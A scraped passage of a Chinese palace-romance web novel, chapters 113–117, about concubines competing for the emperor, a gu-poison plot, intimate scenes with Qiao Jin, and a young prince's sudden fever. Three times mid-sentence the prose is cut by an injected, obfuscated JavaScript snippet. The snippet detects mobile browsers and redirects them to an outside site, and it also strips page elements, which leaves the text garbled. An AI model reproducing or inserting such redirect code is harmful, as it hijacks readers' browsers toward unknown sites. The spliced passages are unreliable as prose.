“有何不敢?”她抓起木盒塞进妆奁最底层,翡翠步摇上的珍珠坠子蹭过盒盖,留下道淡红血痕,“她能让皇上偏爱,我便能让皇上‘只看见’我——” 她忽然凑近姐姐,沾着血的指尖划过对方眉间朱砂痣,“就像姐姐教我的,这宫里的喜欢……从来都是争来的。” 周筱竹看着妹妹染血的指尖,忽然想起北疆草原上的母狼,为了争夺头狼的青睐,会毫不犹豫地咬断竞争者的喉咙。 她抬手替周晚吟理了理凌乱的鬓发,指尖在她耳后那颗痣上停顿片刻:“记住,初七子时三刻,太液池西岸的梧桐树下——”她压低声音,像在念诵某种咒语,“那时的月光,最适合埋蛊。” 窗外,乌云渐渐遮住月亮,君心殿方向的灯火却依旧明亮。 乔瑾正对着孤灯抄写《贞观政要》,腕间旧伤忽然隐隐作痛。 她摸出袖中锦帕,鸳鸯绣纹上似乎还残留着周晚吟方才摔镇纸时的碎光,却不知在百里之外殿里,一只金色虫蛹正顺着妆奁缝隙爬出,在青砖上留下道细不可闻的血痕。 话音未落,殿外忽然传来通报:“皇上驾到——”周晚吟惊得打翻妆奁,珠钗滚落满地。 周筱竹却不慌不忙,从袖中摸出粒猩红药丸塞给她:“含着,这是北疆的‘醉心香’,能让声线变柔——”她替妹妹理了理衣襟,指尖在她锁骨处掐出抹红痕,“记住,等会儿只说头疼,让皇上给你揉太阳穴——” 脚步声渐近,周晚吟忽然抓住姐姐的手,发现她腕间戴着与自己成对的双鱼玉佩——那是母亲临终前给她们的。 烛光下,周筱竹的眼底闪过一丝复杂神色,却在君景珩踏入殿门的刹那,化作轻蔑的笑:“妹妹且瞧着,这宫里的风啊,就要变了。” 君景珩的身影笼罩在纱幔外,腰间玉佩随步伐轻晃。 周晚吟望着那抹熟悉的青色,忽然想起姐姐说的“醉心香”,喉间泛起甜腻气息。 而周筱竹已退到阴影里,指尖抚过方才塞进妹妹袖口的金疮药——那是她从北疆带来的,专治陈年旧伤。 殿内烛火忽然明灭不定,像极了三年前选秀那日,她在人群中看见君景珩时,自己狂跳的心跳。 酉时末刻,鎏金兽首香炉刚换了龙涎与沉水的合香,周晚吟正对着铜镜补妆,指尖沾着的“石榴娇”唇脂在烛火下泛着妖冶的光。 忽闻殿外传来细碎的脚步声,掌事宫女银蝶掀起明黄帷帐时,她已踩着金线绣鞋款步迎出,赤金衔珠簪在鬓边晃出细碎金光。 “陛下怎么有空来臣妾这儿……”她的声音比平日柔了三分,尾音带着姐姐教的颤意,裙裾扫过青砖时,故意露出三寸茜色绣鞋——那鞋头缀的东珠,是今早从姐姐的狐毛领上拆下来的。 君景珩跨进殿门时,正看见她垂眸轻笑的模样。 烛火将她耳后那颗痣照得分明,竟与记忆中某道剪影重叠。 他微怔,目光扫过她腕间新换的赤金镯子——不是他去年赐的翡翠,倒像是周筱竹常戴的款式。 “见过皇上。”周晚吟福身时,故意让赤金簪子蹭过他袖口,“陛下可曾用了晚膳?臣妾方才让小厨房煨了鹿肉羹……”她抬头时,眼角余光瞥见他腰间玉佩轻晃,那抹青色与乔瑾常穿的月白竟格外相衬。 君景珩望着她刻意晕染的眼尾,忽然想起白日里在御花园撞见乔瑾给流浪猫儿喂鱼干的模样。 她那时蹲在太湖石旁,素白裙角沾了泥点,却笑得比春日海棠还鲜活。 第一百一十三章 簪子都可睹物思人 君景珩的喉间忽有些发紧,他随口应道:“不必麻烦。” “不麻烦的!”周晚吟忙转身对银蝶使眼色,金缕衣上的并蒂莲随动作绽开,“去传膳吧,多添两碟陛下爱吃的糖蒸酥酪——”她顿了顿,又补了句,“再把姐姐送的北疆奶酒温上。” “倒是有心。”君景珩在紫檀椅上落座,目光不经意扫过妆台,看见半开的妆奁里露出点猩红——像是北疆的“醉心香”小瓶。 他指尖摩挲着袖口暗纹,忽然想起今早乔瑾替他研墨时,腕间旧伤又淡了些,“听闻你姐姐今日进宫,怎的没见她?” 周晚吟正往茶盏里添蜜渍金桔的手猛地一抖,糖水溅在案头《女戒》上,晕开团暗红。 她想起姐姐临走前说的“避其锋芒”,忙堆起笑:“姐姐说怕扰了陛下理政……”话音未落,膳盒已被宫人抬进殿,鹿肉羹的香气混着奶酒的凛冽,将她未说完的话堵在喉间。 君景珩盯着她盛汤时微颤的指尖,忽然发现她今日换了石榴色指甲,与乔瑾常染的凤仙花汁不同,这颜色浓得像要滴出血来。 他接过汤盏时,故意让指尖擦过她腕间金镯,金属相触的清响里,听见她急促的呼吸声。 “陛下尝尝这羹,”周晚吟看着他将汤盏举到唇边,忽然想起妆奁里的缠心蛊,喉间泛起甜腻的期待,“臣妾特意让厨子加了……” “且慢。”君景珩的声音忽然冷下来,目光落在她发间赤金簪上,“这簪子……可是你姐姐从北疆带的?” 殿内烛火忽然明灭不定,周晚吟望着他眼底骤起的寒霜,想起姐姐说过这簪子原是边疆部落进献的贡品,曾摆在乔瑾的君心殿博古架上。 指甲深深掐进掌心,她听见自己的声音带着破碎的颤音:“是……是姐姐送的,陛下不喜欢么?” 君景珩放下汤盏,起身时袍角扫过地上的金缕衣。 他望着窗外渐浓的暮色,想起乔瑾此刻该在君心殿抄经,腕间旧伤怕是又要发作。 袖中锦帕触着皮肤,鸳鸯绣纹刺得他心口发疼,忽然开口:“朕忽然想起乾元殿还有折子要批。” “陛下!”周晚吟惊得起身,赤金簪子撞在铜镜上,发出刺耳的脆响,“臣妾……” “留着吧。”君景珩头也不回地穿过帷帐,暮色中,他腰间玉佩与周晚吟腕间金镯同时闪过冷光,“往后不必这么铺张。” 殿门阖上的刹那,周晚吟跌坐在妆台前。铜镜里,她眼角的胭脂被泪水晕开,像团即将熄灭的火。 银蝶捧着膳盒进来时,正看见她抓起那支赤金簪子砸向墙壁,碎玉乱琼中,听见她对着虚空低语:“原来……连簪子都能让他想起旁人……” 窗外,北风卷着落叶掠过宫墙,君景珩的仪仗正转过九曲桥。 他摸着袖中未送出的蜜渍金桔,忽然对身边太监道:“去君心殿吧——让小厨房把鹿肉羹换成百合粥,宸嫔今晚该抄到‘君舟民水’了。” 月光下,景仁宫的鎏金顶与君心殿的飞檐遥遥相对,像两颗被夜色隔开的星。 周晚吟望着妆奁里的缠心蛊,忽然抓起那瓶“醉心香”灌进喉咙——辛辣气息灼烧着食道,她却笑起来,笑声混着泪水滴在羊皮纸上乔瑾的画像上,将那道耳后碎发洇成模糊的血痕。 乔瑾刚用完最后一盅百合粥,青竹纹瓷碗还留着余温,忽闻殿外传来熟悉的玄色皂靴声,腕间旧伤竟隐隐发烫。 她起身时带落了案头《贞观政要》,书页间夹着的白海棠花瓣轻飘飘落在裙摆。 “陛下万安。”她屈膝行礼,月白襦裙扫过青砖,发间竹簪与君景珩腰间玉佩同时泛起微光。 抬眸时正撞进他眼底未散的倦意,却在触及她腕间新换的药布时,眸光骤然柔软——那是今晨她替他研墨时,被松烟墨染了伤口,他执意命太医署重配的生肌膏。 君景珩望着她鬓边碎发,想起白日里周晚吟刻意晕染的艳丽妆容,此刻倒觉得这素净模样更教人移不开眼。 他伸手替她将发丝别到耳后,指腹擦过她耳后的碎发弧度,像触碰某种禁忌的珍宝:“怎么又忘了戴护甲?” 乔瑾望着他指尖沾染的墨痕,那是批奏折时留下的,忽然想起方才御膳房送来的食盒里,还藏着她偷偷留下的半块桂花糕。 她笑着转身取出食盒,月光透过窗棂在糕点上织出银网:“陛下若不嫌弃,便尝尝臣妾留的宵夜?” 铜炉里的沉香渐散,混着桂花甜香在殿内流淌。 乔瑾替他斟茶时,手腕不慎晃出药香,君景珩忽然扣住她的手,指尖摩挲着旧伤处的疤痕:“明日让太医再开副安神汤,总见你夜里挑灯……” 话音未落,乔瑾已将半块桂花糕喂到他唇边,软糯的甜意混着温热的呼吸,在两人之间酿出蜜色涟漪。 洗漱时,铜镜映出交叠的身影。 乔瑾替他解下玉佩,冰凉的玉坠蹭过掌心,刻着的“景”字硌得发痒。 他忽然扣住她手腕,指腹碾过她腕间新敷的生肌膏:“今日太液池风大,怎么不多添件披风?”温热的呼吸扫过她耳后碎发,惊得竹簪上缀的小珍珠轻轻颤动,恰似她此刻紊乱的心跳。 “陛下明明比臣妾更怕冷。”乔瑾笑着避开他灼灼的目光。 殿外梆子声忽然清晰,她数到第五声时,忽觉腰间一紧,整个人被带入温热的怀抱。 “看你冻得指尖都凉了。”君景珩的声音混着龙涎香沉入她发顶,掌心隔着月白绢纱摩挲她腰侧,那里有块淡色的胎记,像朵未开的海棠。 乔瑾攥住他衣襟,触到里面藏着的半幅锦帕——是她去年替他补的鸳鸯纹样,边角还留着她咬断线头时的齿痕。 铜漏滴答声里,烛火忽然被夜风吹得骤明骤暗。 乔瑾望见窗纸上两人交叠的影子,他的指尖正划过她衣领,替她将滑落的抹胸往上拽了拽,动作里带着克制的温柔。 第一百一十四章 耽搁 “明日让尚衣局送些蜀锦来,”他的唇擦过她耳垂,“你穿茜色……该很好看。” “陛下又乱讲,”她轻声嗔怪,却在他咬住她下唇时发出呜咽。 腰间的玉佩硌着她小腹,那是他方才随手解下的,刻着的“景”字正抵着她最柔软的地方。 乔瑾伸手去够案头的鲛绡帕,却碰翻了砚台,松烟墨在青砖上洇开蜿蜒的痕迹,像极了他昨夜在她背上画的山水。 “别管……”君景珩握住她沾了墨的指尖,放在唇边轻轻舔舐,“明日让宫人擦……” 他的声音被吻碎在烛影里,乔瑾感觉到他的手掌探入她裙底,沿着小腿内侧慢慢往上,所过之处泛起细密的战栗。 她忽然想起案头未写完的《贞观政要》,“水能载舟”四字恐怕要等到天明才能补全了。 更鼓敲过三更时,雕花拔步床的帷帐已被尽数放下。 守夜宫女银蝉捧着新换的熏香经过廊下,忽闻帐中传来细碎的笑声,混着织物摩擦的窸窣声。 她慌忙低下头,却见月光透过窗纱,在地上投出晃动的影子——君上的影子正覆在乔贵人身上,她发间的竹簪已不知何时落在枕畔,簪头的朱砂漆蹭在锦被上,像滴刚凝成的血珠。 夜风卷着殿外的白海棠花瓣掠过窗棂,案头的宣纸忽然哗啦作响,“水能载舟”的“载”字被吹得只剩半撇,倒像是个潦草的勾,将满室的温香软玉都勾进了帐中。 银蝉听见帐内传来低低的喘息,夹杂着君上隐忍的笑声:“还说不冷……手怎么这么冰?”紧接着是乔贵人带了鼻音的娇嗔:“还不是陛下……” 铜漏里的水滴答坠入夜壶,银蝉红着脸退到廊角,指尖攥紧了熏香盒子。 远处的宫殿灯火早已熄灭,唯有君心殿的烛影摇红,将寒夜烘得像块化了的蜜糖,连檐角的夜枭都不再啼叫,只蜷在瓦当后,偷听帐中飘出的只言片语——那些被夜风揉碎的私语,比最浓的胭脂还要艳,比最醇的奶酒还要甜。 晨光透过鲛绡帐纱,在乔瑾睫毛上投下细碎的金斑。 她动了动酸涩的腰肢,便撞进君景珩含笑的眼底。 “醒了?”他支起身子,指尖绕着她散落的青丝把玩,袖口垂落的龙纹暗绣扫过她肩头,“尚衣局的蜀锦辰时就送来了,茜色的那匹,比你颈间的绯痕还要鲜亮。” 乔瑾埋进软枕躲避他灼灼的目光,却被他托着下巴轻吻发顶。 昨夜打翻的砚台早已被宫人收拾干净,案头《贞观政要》上,“水能载舟”四字旁多了行瘦金体批注,墨迹未干——“亦能覆舟,覆尽山河,唯不负卿”。 “陛下又乱批注。”她捏着被角坐起,腕间红绳突然松脱,那枚刻着“景”字的玉佩顺着丝缎滑落。 君景珩眼疾手快扣住她腰肢,温热的掌心贴着她后腰:“小心,莫要再磕疼了。” 雕花门外传来银蝉细碎的脚步声,乔瑾慌忙去寻襦裙,却被君景珩按住手腕。 乔瑾听见银蝉在廊下轻咳两声,指尖猛地攥紧了茜色寝衣——昨夜被扯散的系带此刻正缠在腕间,像条调皮的小蛇。 “陛、陛下……银蝉来了。”她推搡着君景珩的肩膀,发间的珍珠步摇却被帐钩勾住,碎成一串轻响。 君景珩懒洋洋支起身子,龙纹中衣半敞着,露出锁骨下方几点淡红指痕。 他伸手替她摘步摇,指腹擦过她发烫的耳垂:“慌什么?朕的爱妃,自然要从容些。” 帐幔掀开的刹那,乔瑾慌忙扯过被子遮住肩头,却见银蝉早已垂眸退到屏风后,铜盆里的热水正腾着白雾。她 这才惊觉自己昨夜被扯乱的襦裙正搭在脚踏上,茜色裙摆拖在青砖上,沾了几点未干的胭脂渍。 “娘娘可是要起身了?”银蝉的声音带着刻意压低的笑意,“奴婢备了玫瑰膏,给您敷敷……腰上的痕。” 乔瑾的脸“腾”地烧到耳根,余光瞥见君景珩正倚着软垫笑出梨涡,索性抓起枕边玉枕砸过去:“都怪陛下!误了时辰……” 君景珩接住玉枕抱在胸前,墨发凌乱却难掩眉目昳丽:“朕误了早朝是小事,若误了爱妃给皇后请安……”他忽然倾身啄了啄她唇畔,“不如朕传旨,免了你今日请安?” “使不得!”乔瑾挣扎着要起身,却被腰间酸软拽回原处。 君景珩低笑出声,替她披上云锦外裳,指尖有意无意划过她后颈红痕:“罢了,朕去去就回。”他在她耳边轻语,“待朕下朝,可要检查爱妃的《贞观政要》,是否补全了?” 殿外传来金銮钟响,君景珩终于披上明黄龙袍,玉带扣在腰间时忽然回头:“若皇后问起……” 他挑眉看她手忙脚乱系腰带的模样,“便说朕让你多读些史书,免得……” “陛下!”乔瑾抓起鲛绡帕掷过去,却被他笑着接了揣进袖中。 银蝉伺候君景珩离去后,才敢抬眼看向妆奁前的乔瑾。镜中人双颊仍染着霞色,鬓边碎发被吻得凌乱,耳垂上还留着枚淡红齿印。 “娘娘的竹簪……”银蝉忍着笑捡起枕边发簪,簪头朱砂漆果然蹭掉了一块,“可要换支翡翠的?” 乔瑾按住发烫的耳垂:“不必了……” 她忽然瞥见镜中自己领口微敞,慌忙拢紧衣襟——锁骨下方那抹淡红,分明是昨夜君景珩咬出来的。 “银蝉,”她声音发虚,“可有遮瑕的螺子黛?” 坤宁宫内,众妃嫔已跪了半盏茶时。 乔瑾踩着金线绣鞋踉跄入门,万福礼行到一半,腰间突然抽痛,险些栽进皇后身侧。 “宸嫔这是……”皇后掩唇轻笑,目光扫过她泛红的眼角和微乱的鬓发,“可是昨夜着了凉?” “回娘娘的话……”乔瑾盯着金砖缝里的缠枝纹,指尖绞着帕子,“臣妾……昨夜研读典籍,不慎读到子时。” 殿内顿时响起细碎的低笑,庄妃掩着金镶玉护甲咳嗽两声:“竟比本宫还勤勉,不愧是君心殿的红人。” 第一百一十五章 赏梅 乔瑾的指甲几乎掐进掌心,却听皇后忽然叹道:“皇帝近些日子确实勤政,昨儿个早朝,竟带着一身墨香……”她意味深长看了乔瑾一眼,“说是批了整夜的折子呢。” 殿外忽然掠过白海棠花瓣,乔瑾想起案头那半撇“载”字,想起君景珩批注时沾了墨的指尖抚过她脊背。 她福了福身,喉间泛起潮热:“许是……臣妾笨手笨脚,打翻了砚台……” “罢了,”皇后挥挥手,目光落在她腕间红绳上——那是君景珩常戴的玉佩绳结,“既如此,便让你回殿歇着吧。只是……” 她忽然轻笑,“下次伺候陛下读书,可要小心些,别累着了。” 乔瑾逃也似的退出坤宁宫,春日暖风卷起她裙角,露出一小截裹着玫瑰膏的玉胫。 远处金銮殿传来退朝的钟鸣,她摸着颈间“景”字玉佩,忽然听见身后银蝉低笑:“贵人的茜色蜀锦……奴婢已替您熨好了,陛下说,申时要带您去御花园赏梅。” 乔瑾指尖揉着眉心,盯着案头那盏鎏金兽首灯发怔。 银蝉捧着茜色蜀锦进来时,她正将一方湘妃竹帕摔在枕上,帕角扫落了妆奁里的螺子黛,墨色粉末簌簌落在她膝头——像极了昨夜那人沾着松烟墨的指尖,曾在她脊背上蜿蜒出半阙《洛神赋》。 “娘娘可要更衣?”银蝉的声音带着小心翼翼的试探,目光瞥向那袭流光溢彩的蜀锦,“陛下说申时三刻……” “知道了。”乔瑾打断她,玉簪狠狠**妆奁里的桂花头油,溅起星点鹅黄膏体。 她望着镜中自己眼下淡淡的青影,想起皇后方才看她腕间红绳时那抹似笑非笑,忽然抓起案头未写完的《贞观政要》摔向紫檀书架,“载”字那半撇墨迹擦过黄花梨木纹,宛如一道未愈的伤痕。 然而当申时的日影爬上雕花窗棂时,她终究还是换上了那袭茜色蜀锦。 裙裾扫过青砖时,她闻到裙角暗纹里渗着的沉水香——是昨夜那人解她罗带时,从腰间玉佩上蹭来的气息。 鎏金步摇垂落的珍珠擦过耳尖,她忽然想起银蝉说过的话:陛下常说,她耳尖红起来时,像新绽的红梅。 君景珩踏入偏殿时,乔瑾正对着**架上的青瓷瓶发呆。 他指尖勾起她一缕垂落的发丝,在阳光下捻动:“怎么,不愿陪朕赏梅?” 温热的呼吸拂过她耳垂,带着龙涎香混着墨香的气息,“昨夜批折子到子时,朕可还记得某人说‘水能载舟’时,指尖在朕掌心画的圈儿。” 乔瑾浑身一颤,昨夜那人握着她的手在《贞观政要》上批注的画面突然清晰起来。 她转身时,茜色裙摆扫过他明黄**纹靴面,腕间红绳与他腰间玉佩轻轻相碰:“陛下总爱拿臣妾打趣。” 话音未落,已被他扣住腰肢按在**架旁,青瓷瓶里的白海棠簌簌落在她发间。 “打趣?” 君景珩指尖摩挲她颈间“景”字玉佩,忽然低头咬住她耳垂,“那昨夜在朕书房打翻砚台,害得朕龙袍上染了墨渍的小醉鬼,又是谁?” 他忽然轻笑,指腹划过她小腿内侧尚未消退的玫瑰膏痕迹,“可是这处……让朕用朱砂笔描了整夜的‘载’字?” 乔瑾耳尖骤红,想起昨夜烛影摇红中,那人用沾了朱砂的笔锋在她肌肤上描摹字迹的触感。 她正要开口,却被他用指尖按住唇瓣:“无需多言,朕命人在梅林深处设了暖阁,备好你爱喝的碧螺春。” 他忽然凑近她耳边,声音低哑,“不过……若你累了,朕倒觉得,在暖阁里教你研墨,或许更有趣些。” 御花园的白梅正开得如云似雪,乔瑾挽着君景珩的手臂走过九曲桥时,忽然瞥见自己在湖水中的倒影——茜色蜀锦衬得肌肤胜雪,鬓间白海棠与颈间玉佩相映成趣。 君景珩忽然停步,从袖中取出一方洒金帕子替她拂去肩头落梅,帕角掠过她唇畔时,她闻到帕上隐约的墨香与龙涎香交织,竟与昨夜他批折子时用的香篆一模一样。 “看什么?”君景珩的声音带着笑意,手指忽然指向远处梅枝,“瞧那株绿萼梅,开得倒像你昨夜……” “陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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说着已携她步出暖阁,暮色里的白梅正凝着雪粒般的花苞,唯有一株绿萼开得秾丽,鹅黄花瓣在风里轻颤,像极了她妆奁里的桂花头油。 乔瑾松了口气,正要凑近去嗅,却被君景珩从身后圈住,鼻尖萦绕的不是梅香,而是他下颌蹭过她发顶时,混着墨香的体温。 “看这花蕊,”他指尖拨弄花枝,却轻轻按在她腰侧,“像不像昨夜你……” “陛下!”乔瑾急忙转身,却撞进他怀里,瞥见他眼底跳动的烛火——原来暖阁的烛已被宫人点起,将两人影子投在梅枝间,恍若交缠的双生花。 她忽然想起坤宁宫的鎏金熏炉,想起皇后看她腕间红绳时的目光,喉间泛起潮热。 君景珩忽然轻笑,替她拂去肩头落雪:“罢了,依你。” 他牵起她的手按在梅枝上,她触到树皮粗糙的纹理,却听见他在耳畔低语,“不过待夜深雪落,朕要你在这梅树下研墨——用这花瓣上的雪水,磨朕新得的龙脑香墨。” 乔瑾望着他指间的朱砂痕迹,知道那是方才研磨时沾上的。 她忽然想起案头未补全的“水能载舟”,此刻在暖阁的烛光里,怕是要被写成“君舟卿水”了。 乔瑾指尖在梅枝上轻轻一颤,雪粒般的花苞簌簌落了两颗在袖口,她望着他指尖的朱砂印,忽然想起晨起时他握着她的手在奏折上批红,墨迹透过宣纸渗到她掌心,像朵开败的胭脂扣。喉间的潮热漫到耳尖,她垂眸避开他眼底的烛火,却触到他掌心覆上来的温度。 “陛下总爱拿臣妾打趣。”她指尖绞着袖口的缠枝莲纹,忽然闻到他衣摆间混着的龙涎香。 那是她昨日亲手替他调的香饼,前调的沉水香混着中调的梅花香,此刻在雪夜里漫开来,竟比枝头的绿萼还要清甜。 君景珩低笑一声,指腹碾过她腕间的红绳,那是冬至时她在祈福殿求得的,原是要送给... 他忽然捏紧她的手腕,将她往梅树后带了半寸,阴影里的花苞拂过她发鬓,落了星星点点的雪在他玄色衣袍上。 “朕何时打趣了?”他用指节抬起她的下颌,让她不得不直视自己眼底翻涌的暗潮,“昨日在坤宁宫,皇后问起这红绳时,你可是连耳根都红透了——倒像是被人捉了把柄的小兽。” 乔瑾浑身一僵,想起皇后指尖划过红绳时那抹似笑非笑的神情,殿里的鎏金熏炉正煨着百合香,却掩不住她语气里的冰碴子。 她想往后退,却被他用膝盖抵住膝弯,整个人被迫倚在梅树干上,树皮蹭过脊背,竟比他的眼神还要滚烫。 “那是...那是臣妾替陛下祈福的...”她话音未落,就被他用拇指按住唇瓣,指尖的朱砂蹭在她嘴角,像朵突然绽开的红梅。 他忽然低头,在她耳垂上轻轻一咬,惊得她攥紧了他腰间的玉带銙。 “祈福?”他的气息喷在她泛红的耳尖,“可朕瞧着,倒像是定情的信物。” 话音未落,他忽然握住她按在梅枝上的手,带着她一同抚过那鹅黄的花瓣,“就像这绿萼梅,旁人只道它不合时宜,朕却偏要它在这雪夜里开得最盛。” 乔瑾忽然想起案头那幅未补全的《舟水图》,原本空白的水面上,今早竟多了只衔着梅花的燕子,墨色的尾羽扫过“水能载舟”四字,隐约透出底下新题的“君舟卿水”。 她抬眼望他,却见他指尖正捻着她方才掉落的花苞,鹅黄花瓣映着他眼底的烛火,竟比御书房的明黄帷帐还要灼人。 “夜深雪落时...”她忽然伸手替他拂去肩头的落雪,指尖掠过他锁骨处的龙纹刺绣,“陛下要臣女研墨,可需先暖了笔洗里的雪水?” 话音未落,她便感觉到他按在她腰侧的手骤然收紧,那抹朱砂印正透过她的中衣,在皮肤上烫出个暧昧的印记。 君景珩忽然低笑出声,笑声震得她耳尖发麻。 他松开她的手腕,却将她的指尖按在自己胸口,隔着两层锦缎,她能清晰感受到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845672|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他心跳的节奏。 “不必暖。”他忽然低头,在她唇上轻轻一啄,快得像片雪花落在舌尖,“有你在旁,朕的墨砚自会生出火来。” 话音未落,远处忽然传来宫人细碎的脚步声。 乔瑾急忙推开他,却被他反手扣住腰肢,指尖顺势勾住她腕间的红绳轻轻一扯,她踉跄着撞进他怀里,听见他在宫人走近前的低笑—— “记得带两盏琉璃风灯,”他的声音混着梅香落进她耳里,“莫要让朕的砚台,被雪水浸凉了。” 乔瑾望着他指尖晃动的红绳,忽然想起方才在暖阁里,他替她描眉时落下的那滴胭脂泪,此刻怕是已经渗进了《舟水图》的纸纹里,化作了永不褪色的春潮。 雪粒忽然大了些,扑在琉璃风灯上沙沙作响。 乔瑾刚要开口,便见宫道转角处掠过盏明黄灯笼,随侍的小太监跑得气喘吁吁,未至梅树便扑通跪下,声音里带着异样的颤音: “陛下...皇后娘娘差奴才来报,小皇子方才突然高热惊厥,太医署已着人去请,只是...只是皇子殿下烧得人事不省...” 君景珩扣在乔瑾腰侧的手骤然收紧,她甚至能听见他指节捏得发白的声响。 方才还浸着墨香的眼底骤然凝了冰,转身时玄色衣摆扫落枝头残雪,却在看见小太监膝头未沾雪渍时忽然眯起眼:“何时发病的?” “回、回陛下,戌初时还好好的,亥时乳母说皇子一直在哭,刚换了单衣便...便突然抽搐起来,皇后娘娘已着人封了殿门,只等陛下...” 小太监话音未落,便被君景珩拽着衣领提起来,发冠歪斜间露出后颈未褪的红痕——那是新打的板子印子。 乔瑾心口猛地一跳,下意识攥紧了袖口。 坤宁宫素日最讲究体面,皇后断不会让宫人带着伤痕当值,除非...她望着君景珩指尖摩挲着小太监后颈的动作,忽然想起前日御书房里那叠关于三皇子生母位份的奏折。 第一百一十七章 不是** “惊厥时可曾吐逆?”君景珩松开手,袖中滚出枚金镶玉扳指落在雪地里,“指甲可曾发紫?” 小太监抖得如筛糠,膝头终于沾上雪水:“回陛下,奴才...奴才没敢近前,只听见乳母喊着皇子身子在抖...” 话音未落,君景珩已转身握住乔瑾的手腕,指尖却在触到红绳时顿了顿。 他忽然扯下那根红绳塞进她掌心,力道大得让她生疼:“回暖阁等着,不许出门。” 说罢便解下玄色大氅甩给随侍的侍卫,s间腰间玉带銙撞出清响,惊得梅枝上的雪扑簌簌落了满身。 乔瑾望着他在宫道上疾走的背影,见他忽而停步唤来暗卫,袖口翻动间露出腕间未褪的朱砂印——那是今早她替他研墨时蹭上的。 雪粒子打在她发鬓上,远处传来坤宁宫方向此起彼伏的梆子声,竟比方才梅树下的烛火还要刺目。 “陛下且慢!”她忽然开口,却在触及他回望的眼神时骤然噤声。 他眉峰紧蹙,眼底翻涌的却不是方才对她的柔波,而是某种淬了冰的锋锐,像极了去年秋狩时射穿狼王咽喉的那支箭。 君景珩却只驻足一瞬,便又大步向前,靴底碾过雪地的声响里,隐约传来他对暗卫的低语:“去查皇子今日膳食,再看看太医院卯时领的药材...若有差池,提头来见。” 话音未落,他已拐过游廊,明黄灯笼的光晕被风雪揉碎,只剩乔瑾掌心里的红绳还带着他的体温,在雪夜里泛着灼人的烫意。 她低头望着掌心里的绳结,忽然想起方才小太监后颈的伤痕——那形状竟与坤宁宫惩戒宫人的竹篾条分毫不差。 梅枝在风中轻颤,鹅黄花瓣落进她袖口,却掩不住远处皇子所方向传来的隐约哭喊声,像根细针扎进耳骨,让她想起案头那幅被朱砂改过的《舟水图》,此刻怕是要添上几笔血色了。 君景珩往前走的步伐停顿了下来,转头看向乔瑾,看着她苍白的小脸,皱了皱眉道:“你先回去。” 说完这话过后,这才匆匆的走了,不一会儿君景珩的身影就看不到了。 绿萝想了想,“小主,我们不跟过去看看吗?” 这小皇子生病可是大事,这后宫众人按理来说都应该过去看看的,说不定此时大家都已经赶过去了。 乔瑾也只是思索了半下,就毫不犹豫的提着步伐便往前边道:“我们当然也要赶过去。” 雪粒子打在乔瑾面上生疼,她攥着裙角在九曲桥狂奔,翡翠珠串的璎珞蹭过廊柱,惊飞了檐角蹲兽上的积雪。 身后绿萝提着琉璃灯跌跌撞撞,好几次险些滑倒,却见她家小主襦裙下摆已结了薄冰,绣着并蒂莲的裙角在雪地上拖出蜿蜒水痕,像条挣脱水池的锦鲤。 皇子所的朱漆门大敞着,暖黄的烛光里人影幢幢。 乔瑾踉跄着撞过门槛,正听见皇后娘娘的声音从内殿传来:“都仔细搜过了?莫要漏了半片药渣。” 她抬头望去,却见君景珩立在鎏金兽首炭盆旁,玄色锦袍上还沾着未化的雪粒,听见脚步声时侧过半边脸,睫毛在眼下投出极淡的影。 “宸嫔这是...跑着来的?”贤妃的轻笑从左侧传来,乔瑾这才注意到殿内诸位小主皆着狐裘斗篷,唯有自己鬓发散乱,裙摆湿得能拧出水来。 她福了福身,指尖触到掌心还攥着的红绳,忽然想起君景珩扯下它时的力道,喉间便泛起涩意。 “太医呢?”君景珩的声音忽然沉下来,打断了殿内细碎的议论。 随着珠帘响动,太医院正使弓着背进来,额角还凝着汗珠:“启禀陛下,小皇子脉息虽急,却无**之象。许是连日阴雨,暖阁门窗紧闭,又贪食了些牛乳酪,积热上涌所致。” 殿内忽然静得能听见炭盆里木柴爆裂的声响。 乔瑾抬眼望去,见皇后扶着鎏金熏炉的手顿了顿,腕间翡翠镯子撞在炉沿发出清响。 君景珩指尖摩挲着腰间玉带銙,那是方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845673|175766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才赶路时松了的,露出里衬绣着的暗纹。 “积热?”他忽然轻笑一声,上前两步掀开皇子的锦被。 三皇子面色潮红地蜷在缎面褥子上,小拳头攥着乳母的袖口,却在君景珩指尖触到他额头时忽然呜咽出声。 乔瑾看见皇上指尖一颤,喉结滚动着咽下未出口的话,转身时却与她目光相撞,那抹暗色里闪过什么,很快又被烛火揉碎。 “既无大碍,便都散了吧。”皇后起身整理披帛,金丝绣的牡丹在炭火旁泛着柔光,“诸位妹妹也早些回去,莫要着了寒。” 她说着瞥向乔瑾湿透的裙摆,嘴角扬起抹似有若无的笑,“尤其是宸嫔妹妹,这双绣鞋怕是要泡坏了——到底是年轻,不知惜些体面。” 乔瑾攥紧红绳福身告退,行至门槛时听见身后传来细碎的脚步声。 